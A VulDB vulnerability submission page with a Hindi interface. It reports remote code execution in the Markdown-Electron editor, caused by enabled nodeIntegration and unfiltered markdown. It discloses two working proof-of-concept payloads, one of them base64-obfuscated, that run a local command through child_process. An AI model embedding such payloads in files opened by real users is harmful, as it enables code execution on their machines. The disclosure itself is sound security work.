जमा करें #92098: Incorrect electron configuration causes RCEजानकारी

शीर्षकIncorrect electron configuration causes RCE
विवरणnodeIntegration: true decide Node APIs are enabled in renderer. And Markdown Editor does not filter dangerous operations. When we use this software to open the unknown markdwon file, it may cause Remote code execution (RCE). EXP # 0 click <img src=# onerror='eval(new Buffer(`amF2YXNjcmlwdDpyZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygnY2FsYycsIChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpPT57YWxlcnQoJ1lvdSB3ZXJlIGhhY2tlZC4nKX0p`, `base64`).toString())'> # 1 click <a href="javascript:require('child_process').exec('calc', (error, stdout, stderr)=>{alert('You were hacked.')})">CLICK</a> For more details, please click the announcement.
स्रोत⚠️ https://github.com/JP1016/Markdown-Electron/issues/3
उपयोगकर्ता
 Tom23 (UID 41413)
सबमिशन20/02/2023 01:17 PM (4 साल पहले)
संयम24/02/2023 09:00 AM (4 days later)
स्थितिस्वीकृत
VulDB प्रविष्टि221738 [JP1016 Markdown-Electron अधिकार वृद्धि]
अंक20

Do you want to use VulDB in your project?

Use the official API to access entries easily!